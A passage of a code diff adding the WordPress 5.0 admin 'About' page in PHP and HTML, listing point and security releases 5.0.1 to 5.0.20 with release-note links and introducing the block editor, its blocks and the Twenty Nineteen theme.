+					__( 'The Gutenberg plugin has been deactivated, as the features are now included in WordPress %1$s by default. If you&#8217;d like to continue to test the upcoming changes in the WordPress editing experience, please %2$sreactivate the Gutenberg plugin%3$s.' ),
+					$display_version,
+					'<a href="' . esc_url( self_admin_url( 'plugins.php?s=gutenberg&plugin_status=all' ) ) . '">',
+					'</a>'
+				);
+				?>
+			</div>
+		<?php elseif ( ! file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) : ?>
+			<p class="about-text">
+				&#x2139; <a href="#classic-editor"><?php _e( 'Learn how to keep using the old editor.' ); ?></a>
+			</p>
+		<?php endif; ?>
+
+		<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+		<h2 class="nav-tab-wrapper wp-clearfix">
+			<a href="about.php" class="nav-tab nav-tab-active"><?php _e( 'What&#8217;s New' ); ?></a>
+			<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
+			<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
+			<a href="freedoms.php?privacy-notice" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
+		</h2>
+
+		<div class="changelog point-releases">
+			<h3><?php _e( 'Maintenance and Security Releases' ); ?></h3>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.20'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.20' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.19'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.19' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.18'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.18' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.17'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.17' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed one security issue.' ),
+					'5.0.16'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.16' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.15'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.15' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.14'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.14' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed one security issue.' ),
+					'5.0.13'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.13' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.12'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.12' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.11'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.11' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.10'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.10' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.9'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.9' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.8'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.8' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.7'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.7' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.6'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.6' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: %s: WordPress version number */
+					__( '<strong>Version %s</strong> addressed some security issues.' ),
+					'5.0.4'
+				);
+				?>
+				<?php
+				printf(
+					/* translators: %s: HelpHub URL */
+					__( 'For more information, see <a href="%s">the release notes</a>.' ),
+					sprintf(
+						/* translators: %s: WordPress version */
+						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
+						sanitize_title( '5.0.4' )
+					)
+				);
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: 1: WordPress version number, 2: plural number of bugs. */
+					_n(
+						'<strong>Version %1$s</strong> addressed %2$s bug.',
+						'<strong>Version %1$s</strong> addressed %2$s bugs.',
+						44
+					),
+					'5.0.3',
+					number_format_i18n( 44 )
+				);
+				?>
+				<?php
+				/* translators: %s: Codex URL */
+				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.3' );
+				?>
+			</p>
+			<p>
+				<?php
+				printf(
+					/* translators: 1: WordPress version number, 2: plural number of bugs. */
+					_n(
+						'<strong>Version %1$s</strong> addressed %2$s bug.',
+						'<strong>Version %1$s</strong> addressed %2$s bugs.',
+						73
+					),
+					'5.0.2',
+					number_format_i18n( 73 )
+				);
+				?>
+				<?php
+				/* translators: %s: Codex URL */
+				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.2' );
+				?>
+			</p>
+			<p>
+				<?php
+				/* translators: %s: WordPress version number */
+				printf( __( '<strong>Version %s</strong> addressed some security issues.' ), '5.0.1' );
+				?>
+				<?php
+				/* translators: %s: Codex URL */
+				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.1' );
+				?>
+			</p>
+		</div>
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<h2><?php _e( 'Say Hello to the New Editor' ); ?></h2>
+			</div>
+		</div>
+
+		<div class="full-width">
+			<picture>
+				<source type="image/webp" media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/header/Gutenberg%20Mobile1x.webp 1x, https://s.w.org/images/core/5.0/header/Gutenberg%20Mobile.webp 2x" />
+				<source media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/header/Gutenberg%20Mobile1x.jpg 1x, https://s.w.org/images/core/5.0/header/Gutenberg%20Mobile.jpg 2x" />
+				<source type="image/webp" srcset="https://s.w.org/images/core/5.0/header/Gutenberg1x.webp 1x, https://s.w.org/images/core/5.0/header/Gutenberg.webp 2x" />
+				<img src="https://s.w.org/images/core/5.0/header/Gutenberg1x.jpg" srcset="https://s.w.org/images/core/5.0/header/Gutenberg1x.jpg 1x, https://s.w.org/images/core/5.0/header/Gutenberg.jpg 2x" alt="">
+			</picture>
+		</div>
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<p><?php _e( 'You&#8217;ve successfully upgraded to WordPress 5.0! We’ve made some big changes to the editor. Our new block-based editor is the first step toward an exciting new future with a streamlined editing experience across your site. You’ll have more flexibility with how content is displayed, whether you are building your first site, revamping your blog, or write code for a living.' ); ?></p>
+			</div>
+		</div>
+
+		<div class="feature-section four-col">
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/features/Plugins1x.webp 1x, https://s.w.org/images/core/5.0/features/Plugins.webp 2x">
+						<img src="https://s.w.org/images/core/5.0/features/Plugins1x.jpg" srcset="https://s.w.org/images/core/5.0/features/Plugins1x.jpg 1x, https://s.w.org/images/core/5.0/features/Plugins.jpg 2x" alt="" width="250" height="250" />
+					</picture>
+					<figcaption><?php _e( 'Do more with fewer plugins.' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/features/Layout1x.webp 1x, https://s.w.org/images/core/5.0/features/Layout.webp 2x">
+						<img src="https://s.w.org/images/core/5.0/features/Layout1x.jpg" srcset="https://s.w.org/images/core/5.0/features/Layout1x.jpg 1x, https://s.w.org/images/core/5.0/features/Layout.jpg 2x" alt="" width="250" height="250" />
+					</picture>
+					<figcaption><?php _e( 'Create modern, multimedia-heavy layouts.' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/features/Responsive1x.webp 1x, https://s.w.org/images/core/5.0/features/Responsive.webp 2x">
+						<img src="https://s.w.org/images/core/5.0/features/Responsive1x.jpg" srcset="https://s.w.org/images/core/5.0/features/Responsive1x.jpg 1x, https://s.w.org/images/core/5.0/features/Responsive.jpg 2x" alt="" width="250" height="250" />
+					</picture>
+					<figcaption><?php _e( 'Work across all screen sizes and devices.' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/features/Editor%20Styles1x.webp 1x, https://s.w.org/images/core/5.0/features/Editor%20Styles.webp 2x">
+						<img src="https://s.w.org/images/core/5.0/features/Editor%20Styles1x.jpg" srcset="https://s.w.org/images/core/5.0/features/Editor%20Styles1x.jpg 1x, https://s.w.org/images/core/5.0/features/Editor%20Styles.jpg 2x" alt="" width="250" height="250" />
+					</picture>
+					<figcaption><?php _e( 'Trust that your editor looks like your website.' ); ?></figcaption>
+				</figure>
+			</div>
+		</div>
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<h2><?php _e( 'Building with Blocks' ); ?></h2>
+				<p><?php _e( 'The new block-based editor won&#8217;t change the way any of your content looks to your visitors. What it will do is let you insert any type of multimedia in a snap and rearrange to your heart&#8217;s content. Each piece of content will be in its own block; a distinct wrapper for easy maneuvering. If you&#8217;re more of an HTML and CSS sort of person, then the blocks won&#8217;t stand in your way. WordPress is here to simplify the process, not the outcome.' ); ?></p>
+				<video controls>
+					<source src="https://s.w.org/images/core/5.0/videos/add-block.mp4" type="video/mp4">
+					<source src="https://s.w.org/images/core/5.0/videos/add-block.webm" type="video/webm">
+					<p><?php printf( __('Your browser doesn&#8217;t support HTML5 video. Here is a %1$slink to the video%2$s instead.'), '<a href="https://wordpress.org/gutenberg/files/2018/11/add-block.mp4">', '</a>'); ?></p>
+				</video>
+				<p><?php _e( 'We have tons of blocks available by default, and more get added by the community every day. Here are a few of the blocks to help you get started:' ); ?></p>
+			</div>
+		</div>
+
+		<div class="feature-section eight-col">
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Paragraph@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Paragraph.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Paragraph@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Paragraph@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Paragraph.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Paragraph' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Heading@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Heading.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Heading@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Heading@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Heading.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Heading' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Preformatted@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Preformatted.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Preformatted@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Preformatted@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Preformatted.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Preformatted' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Quote@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Quote.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Quote@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Quote@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Quote.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Quote' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Image@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Image.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Image@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Image@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Image.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Image' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Gallery@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Gallery.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Gallery@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Gallery@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Gallery.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Gallery' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Cover%20Image@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Cover%20Image.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Cover%20Image@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Cover%20Image@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Cover%20Image.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Cover' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Video@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Video.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Video@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Video@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Video.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Video' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Audio@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Audio.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Audio@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Audio@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Audio.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Audio' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Column@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Column.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Column@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Column@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Column.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Columns' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20File@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20File.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20File@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20File@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20File.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'File' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Code@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Code.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Code@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Code@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Code.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Code' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20List@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20List.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20List@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20List@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20List.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'List' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Button@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Button.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Button@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Button@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Button.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Button' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Embeds@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Embeds.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Embeds@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Embeds@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20Embeds.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'Embeds' ); ?></figcaption>
+				</figure>
+			</div>
+			<div class="col">
+				<figure>
+					<picture>
+						<source type="image/webp" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20More@1x.webp 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20More.webp 2x" />
+						<img src="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20More@1x.jpg" srcset="https://s.w.org/images/core/5.0/blocks/Block%20Icon%20More@1x.jpg 1x, https://s.w.org/images/core/5.0/blocks/Block%20Icon%20More.jpg 2x" alt=""/>
+					</picture>
+					<figcaption><?php _e( 'More' ); ?></figcaption>
+				</figure>
+			</div>
+		</div>
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<h2><?php _e( 'Freedom to Build, Freedom to Write' ); ?></h2>
+				<p><?php _e( 'This new editing experience provides a more consistent treatment of design as well as content. If you&#8217;re building client sites, you can create reusable blocks. This lets your clients add new content anytime, while still maintaining a consistent look and feel.' ); ?></p>
+				<video controls>
+					<source src="https://s.w.org/images/core/5.0/videos/build.mp4" type="video/mp4">
+					<source src="https://s.w.org/images/core/5.0/videos/build.webm" type="video/webm">
+					<p><?php printf( __('Your browser doesn&#8217;t support HTML5 video. Here is a %1$slink to the video%2$s instead.'), '<a href="https://wordpress.org/gutenberg/files/2018/11/build.mp4">', '</a>'); ?></p>
+				</video>
+			</div>
+		</div>
+
+		<?php if ( current_user_can( 'edit_posts' ) ) { ?>
+			<div class="feature-section one-col cta">
+				<div class="col">
+					<a class="button button-primary button-hero" href="<?php echo esc_url( admin_url( 'post-new.php' ) ); ?>"><?php _e( 'Build your first post' ); ?></a>
+				</div>
+			</div>
+		<?php } ?>
+
+
+		<hr />
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<h2><?php _e( 'A Stunning New Default Theme' ); ?></h2>
+			</div>
+		</div>
+
+		<div class="full-width">
+			<figure>
+				<picture>
+					<source type="image/webp" media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen-mobile@1x.webp 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen-mobile.webp 2x" />
+					<source media="(max-width: 782px)" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen-mobile@1x.jpg 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen-mobile.jpg 2x" />
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen@1x.webp 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen@1x.jpg" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen@1x.jpg 1x, https://s.w.org/images/core/5.0/header/twenty-nineteen.jpg 2x" alt="">
+				</picture>
+
+				<figcaption><?php _e( 'The front-end of Twenty Nineteen on the left, and how it looks in the editor on the right.' ); ?></figcaption>
+			</figure>
+		</div>
+
+		<div class="feature-section one-col">
+			<div class="col">
+				<p><?php _e( 'Introducing Twenty Nineteen, a new default theme that shows off the power of the new editor.' ); ?></p>
+			</div>
+		</div>
+
+		<div class="feature-section three-col">
+			<div class="col">
+				<picture>
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/block%20editor@1x.webp 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/block%20editor.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/twenty%20nineteen/block%20editor@1x.jpg" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/block%20editor@1x.jpg 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/block%20editor.jpg 2x" alt="">
+				</picture>
+				<h3><?php _e( 'Designed for the block editor' ); ?></h3>
+				<p><?php _e( 'Twenty Nineteen features custom styles for the blocks available by default in 5.0. It makes extensive use of editor styles throughout the theme. That way, what you create in your content editor is what you see on the front of your site.' ); ?></p>
+			</div>
+			<div class="col">
+				<picture>
+					<source type="image/webp" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/typography@1x.webp 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/typography.webp 2x" />
+					<img src="https://s.w.org/images/core/5.0/twenty%20nineteen/typography@1x.jpg" srcset="https://s.w.org/images/core/5.0/twenty%20nineteen/typography@1x.jpg 1x, https://s.w.org/images/core/5.0/twenty%20nineteen/typography.jpg 2x" alt="">
+				</picture>
+				<h3><?php _e( 'Simple, type-driven layout' ); ?></h3>
+				<p><?php _e( 'Featuring ample whitespace, and modern sans-serif headlines paired with classic serif body text, Twenty Nineteen is built to be beautiful on the go. It uses system fonts to increase loading speed. No more long waits on slow networks!' ); ?></p>
+			</div>
+			<div class="col">
+				<img src="https://s.w.org/images/core/5.0/twenty%20nineteen/twenty-nineteen-versatile.gif" alt="">
+				<h3><?php _e( 'Versatile design for all sites' ); ?></h3>
+				<p><?php _e( 'Twenty Nineteen is designed to work for a wide variety of use cases. Whether you’re running a photo blog, launching a new business, or supporting a non-profit, Twenty Nineteen is flexible enough to fit your needs.' ); ?></p>
+			</div>
+		</div>
+
+		<?php if ( current_user_can( 'customize' ) ) { ?>
+			<div class="feature-section one-col cta">
+				<div class="col">
+					<a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo esc_url( admin_url( 'customize.php?theme=twentynineteen' ) ); ?>"><?php _e( 'Give Twenty Nineteen a try' ); ?></a>
+				</div>
+			</div>
+		<?php } ?>
+
+		<hr />
+
